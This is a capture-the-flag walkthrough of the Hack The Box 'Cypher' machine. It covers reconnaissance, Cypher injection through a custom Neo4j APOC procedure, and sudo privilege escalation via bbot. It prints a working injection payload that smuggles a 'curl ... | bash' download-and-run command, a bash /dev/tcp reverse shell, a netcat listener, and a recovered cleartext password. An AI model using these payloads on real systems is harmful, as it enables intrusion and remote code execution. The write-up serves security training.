HTB Cypher Writeup (Walkthrough)
HTB Cypher Writeup (Walkthrough)
Overview
This write-up documents the penetration testing process for the Cypher machine, focusing on Neo4j Cypher injection and privilege escalation through custom APOC extensions.
Reconnaissance
Host Enumeration
1
2
3
┌──(kali㉿kali)-[~]
└─$ sudo nano /etc/hosts
10.10.11.57 cypher.htb
Port Scanning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop/cypher]
└─$ nmap -sC -sV -oA cypher 10.10.11.57
# Nmap 7.95 scan initiated Wed Apr 30 10:16:45 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oA cypher 10.10.11.57
Nmap scan report for cypher.htb (10.10.11.57)
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: GRAPH ASM
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 30 10:16:58 2025 -- 1 IP address (1 host up) scanned in 12.82 seconds
Key Findings:
- Open ports: 22 (SSH), 80 (HTTP)
- Web server: nginx 1.24.0 (Ubuntu)
- Potential attack surface: Web application
Web Enumeration
Login Page Analysis
Discovered at http://cypher.htb/login with API endpoint /api/auth:
<form action="/api/auth" method="POST">
<!-- Login form elements -->
</form>
<script>
// TODO: don't store user accounts in neo4j
function doLogin(e) {
// AJAX call to /api/auth
}
</script>
Directory Brute-forcing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/Desktop/cypher]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://cypher.htb/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cypher.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 4562]
/about (Status: 200) [Size: 4986]
/login (Status: 200) [Size: 3671]
/demo (Status: 307) [Size: 0] [--> /login]
/api (Status: 307) [Size: 0] [--> /api/docs]
/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
Critical Findings:
- /testing directory containing custom-apoc-extension-1.0-SNAPSHOT.jar
- API endpoint /api/docs
Vulnerability Analysis
Cypher Injection Attempt
Initial test payload:
1
2
3
curl -X POST http://cypher.htb/api/auth \
-H "Content-Type: application/json" \
-d '{"username": "admin'\'' OR 1=1--", "password": "anything"}'
Error Analysis:
1
2
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError}
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin' OR 1=1--' return h.value as hash"
Key Insights:
- Backend uses Neo4j graph database
- User input directly interpolated into Cypher query
- Classic SQLi techniques need adaptation for Cypher syntax
Exploitation Strategy
Payload Development Process
1- Syntax Correction:
- Cypher uses // for comments instead of –
- Proper string termination with ‘ 2- Union-Based Injection:
1
2
3
4
{
"username": "admin' return h.value as a UNION CALL custom.getUrlStatusCode(...)",
"password": "password"
}
3- APOC Extension Exploitation:
- Discovered custom-apoc-extension in /testing
- Contains dangerous custom.getUrlStatusCode procedure
Final Payload
1
2
3
4
{
"username": "admin' return h.value as a UNION CALL custom.getUrlStatusCode(\"cypher.com; curl 10.10.16.42:2244/shell.sh|bash;#\") YIELD statusCode AS a RETURN a;//",
"password": "password123"
}
Payload Breakdown:
- admin’ - Breaks out of string literal
- UNION - Combines legitimate and malicious queries
- CALL custom.getUrlStatusCode() - Executes custom APOC procedure
- ;// - Comments out remaining query
Reverse Shell Setup
Attacker infrastructure:
1
2
3
4
5
6
7
8
# Payload creation
echo "/bin/bash -i >& /dev/tcp/10.10.16.42/2244 0>&1" > shell.sh
# HTTP server
python3 -m http.server 80
# Netcat listener
nc -lnvp 2244
Successful Exploitation
1
2
neo4j@cypher:/$ id
uid=110(neo4j) gid=111(neo4j) groups=111(neo4j)
Privilege Escalation
Credential Discovery
1
2
neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
password: cU4btyib.20xtCMCXkBmerhK
Sudo Privilege Abuse
1
2
3
4
5
6
graphasm@cypher:~$ sudo -l
User graphasm may run the following commands:
(ALL) NOPASSWD: /usr/local/bin/bbot
# Root flag extraction
sudo /usr/local/bin/bbot -t /root/root.txt
BBOT Output:
1
[DNS_NAME_UNRESOLVED] f336c75422350710a61200e0ed40c6cd
Key Takeaways
1- Cypher Injection:
- Requires understanding of Neo4j syntax differences
- Union-based attacks need column count matching
- Custom APOC procedures expand attack surface
2- Privilege Escalation:
- Always check sudo permissions
- Look for custom binaries with unusual capabilities
- Leverage tool functionalities in unintended ways
3- Defensive Measures:
- Parameterized queries for database operations
- Regular security audits of custom extensions
- Principle of least privilege for service accounts
Done!
Hi there 👋 Support me!
Life is an echo—what you send out comes back.
This post is licensed under
CC BY 4.0
by the author.

